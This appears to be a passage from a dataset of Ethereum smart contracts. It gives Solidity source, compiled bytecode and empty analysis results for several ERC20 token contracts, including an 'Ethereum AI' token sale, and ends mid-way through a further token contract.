uint256 operationsAllocation = cap * 15 / 100;
// Split the founder allocation evenly
uint256 allocationPerFounder = founderAllocation / founderAccounts.length;
// Split the operations allocation evenly
uint256 allocationPerOperationsAccount = operationsAllocation / operationsAccounts.length;
// Mint the allocation for each of the founders
for (uint i = 0; i < founderAccounts.length; ++i) {
mint(founderAccounts[i], allocationPerFounder);
}
// Mint the allocation for each of the operations accounts
for (uint j = 0; j < operationsAccounts.length; ++j) {
mint(operationsAccounts[j], allocationPerOperationsAccount);
}
}
}
contract ElementeumTokenProxy is Ownable {
ElementeumToken public token;
function ElementeumTokenProxy(uint256 _cap, address[] _founderAccounts, address[] _operationsAccounts) public
Ownable() {
token = new ElementeumToken(_cap, _founderAccounts, _operationsAccounts);
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
return token.mint(_to, _amount);
}
function finishMinting() public onlyOwner returns (bool) {
return token.finishMinting();
}
function totalSupply() public returns (uint256) {
return token.totalSupply();
}
function cap() public returns (uint256) {
return token.cap();
}
}
|
0x606060405260043610610083576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd14610088578063355274ea146100b157806340c10f19146100da5780637d64bcb4146101345780638da5cb5b14610161578063f2fde38b146101b6578063fc0c546a146101ef575b600080fd5b341561009357600080fd5b61009b610244565b6040518082815260200191505060405180910390f35b34156100bc57600080fd5b6100c46102f4565b6040518082815260200191505060405180910390f35b34156100e557600080fd5b61011a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506103a4565b604051808215151515815260200191505060405180910390f35b341561013f57600080fd5b6101476104f1565b604051808215151515815260200191505060405180910390f35b341561016c57600080fd5b6101746105fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101c157600080fd5b6101ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610621565b005b34156101fa57600080fd5b610202610776565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156102d457600080fd5b6102c65a03f115156102e557600080fd5b50505060405180519050905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663355274ea6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561038457600080fd5b6102c65a03f1151561039557600080fd5b50505060405180519050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561040157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1984846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156104ce57600080fd5b6102c65a03f115156104df57600080fd5b50505060405180519050905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561054e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156105dc57600080fd5b6102c65a03f115156105ed57600080fd5b50505060405180519050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561067c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156106b857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820991ebfbdbf5144394ad06197de0d900b77211ec559a395feda0c94a834d6d9bd0029
|
{"success": true, "error": null, "results": {}}
| 7,745 |
0x02b0cfdc2ce5775feb68be62a7df3bba56598817
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract EthereumAI is StandardToken {
string public constant name = "Ethereum AI";
string public constant symbol = "ETHAI";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1 * 10**9 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function EthereumAI(address _owner) public {
totalSupply = INITIAL_SUPPLY;
owner = _owner;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
/**
* If the user sends 0 ether, he receives 100tokens.
* If he sends 0.001 ether, he receives 3000tokens
* If he sends 0.005 ether he receives 16,000tokens
* If he sends 0.01ether, he receives 35000 tokens
* If he sends 0.05ether he receives 175000tokens
* If he sends 0.1ether, he receives 360,000tokens
*/
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 100 * (10**uint256(decimals));
}
if( _weiAmount == 0.001 ether){
amountOfTokens = 3 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.005 ether){
amountOfTokens = 16 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.01 ether){
amountOfTokens = 35 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.05 ether){
amountOfTokens = 175 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.1 ether){
amountOfTokens = 360 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens() public onlyOwner {
owner.transfer(this.balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
Transfer(this, owner, balance);
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014a578063095ea7b3146101d857806318160ddd1461023257806323b872dd1461025b5780632ff2e9dc146102d4578063313ce567146102fd5780634042b66f1461032c57806348c54b9d14610355578063661884631461036a57806370a08231146103c457806378f7aeee146104115780638da5cb5b1461043a57806395d89b411461048f578063a6f9dae11461051d578063a9059cbb1461056e578063b66a0e5d146105c8578063bef97c87146105dd578063d73dd6231461060a578063dd62ed3e14610664578063e36b0b37146106d0578063e985e367146106e5578063ec8ac4d814610712578063f41e60c514610754578063fc38ce1914610779575b610147336107b0565b50005b341561015557600080fd5b61015d61095a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019d578082015181840152602081019050610182565b50505050905090810190601f1680156101ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e357600080fd5b610218600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610993565b604051808215151515815260200191505060405180910390f35b341561023d57600080fd5b610245610a85565b6040518082815260200191505060405180910390f35b341561026657600080fd5b6102ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a8b565b604051808215151515815260200191505060405180910390f35b34156102df57600080fd5b6102e7610e7e565b6040518082815260200191505060405180910390f35b341561030857600080fd5b610310610e8f565b604051808260ff1660ff16815260200191505060405180910390f35b341561033757600080fd5b61033f610e94565b6040518082815260200191505060405180910390f35b341561036057600080fd5b610368610e9a565b005b341561037557600080fd5b6103aa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611033565b604051808215151515815260200191505060405180910390f35b34156103cf57600080fd5b6103fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c4565b6040518082815260200191505060405180910390f35b341561041c57600080fd5b61042461130d565b6040518082815260200191505060405180910390f35b341561044557600080fd5b61044d611313565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049a57600080fd5b6104a2611339565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e25780820151818401526020810190506104c7565b50505050905090810190601f16801561050f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561052857600080fd5b610554600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611372565b604051808215151515815260200191505060405180910390f35b341561057957600080fd5b6105ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114d2565b604051808215151515815260200191505060405180910390f35b34156105d357600080fd5b6105db61172a565b005b34156105e857600080fd5b6105f06117a3565b604051808215151515815260200191505060405180910390f35b341561061557600080fd5b61064a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117b6565b604051808215151515815260200191505060405180910390f35b341561066f57600080fd5b6106ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119b2565b6040518082815260200191505060405180910390f35b34156106db57600080fd5b6106e3611a51565b005b34156106f057600080fd5b6106f8611aca565b604051808215151515815260200191505060405180910390f35b61073e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107b0565b6040518082815260200191505060405180910390f35b341561075f57600080fd5b61077760048080351515906020019091905050611add565b005b341561078457600080fd5b61079a6004808035906020019091905050611b56565b6040518082815260200191505060405180910390f35b600080600080600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515156107f257600080fd5b60011515600860149054906101000a900460ff16151514151561081457600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925034915061084582611b56565b9050600081141561085557600080fd5b61086a82600654611c2190919063ffffffff16565b60068190555061088581600754611c2190919063ffffffff16565b6007819055506108b88582600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c3f565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561094f57600080fd5b809350505050919050565b6040805190810160405280600b81526020017f457468657265756d20414900000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60006003600460208202016000369050141515610aa457fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610ae057600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610b2e57600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bb957600080fd5b600360009054906101000a900460ff161515610bd457600080fd5b610c2683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cbb83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d8d83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601260ff16600a0a633b9aca000281565b601281565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef857600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610f7157600080fd5b610f7a306112c4565b9050610fa8600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826114d2565b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611144576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d8565b6111578382611e6490919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f455448414900000000000000000000000000000000000000000000000000000081525081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561140c57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a381600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600060026004602082020160003690501415156114eb57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561152757600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561157557600080fd5b600360009054906101000a900460ff16151561159057600080fd5b6115e283600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061167783600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178657600080fd5b6001600860146101000a81548160ff021916908315150217905550565b600360009054906101000a900460ff1681565b600061184782600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600060026004602082020160003690501415156119cb57fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aad57600080fd5b6000600860146101000a81548160ff021916908315150217905550565b600860149054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3957600080fd5b80600360006101000a81548160ff02191690831515021790555050565b600080611b6283611e7d565b905060046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611c17577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260075482604051808381526020018281526020019250505060405180910390a160009150611c1b565b8091505b50919050565b6000808284019050838110151515611c3557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611c7c57600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611cca57600080fd5b611d1c83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db183600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611e7257fe5b818303905092915050565b600080600090506000831415611e9b57601260ff16600a0a60640290505b66038d7ea4c68000831415611eb957601260ff16600a0a610bb80290505b6611c37937e08000831415611ed757601260ff16600a0a613e800290505b662386f26fc10000831415611ef557601260ff16600a0a6188b80290505b66b1a2bc2ec50000831415611f1457601260ff16600a0a6202ab980290505b67016345785d8a0000831415611f3457601260ff16600a0a62057e400290505b809150509190505600a165627a7a72305820d1d174a6559a4cb534471078c28aed81f3753ccd97a558a44ae8096725c82b840029
|
{"success": true, "error": null, "results": {}}
| 7,746 |
0x9f8E32C5E61432AD64255144e93033a7B3369e47
|
/*
ChildSeatserc20
💬 Tele: https://t.me/ChildSeatserc20
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
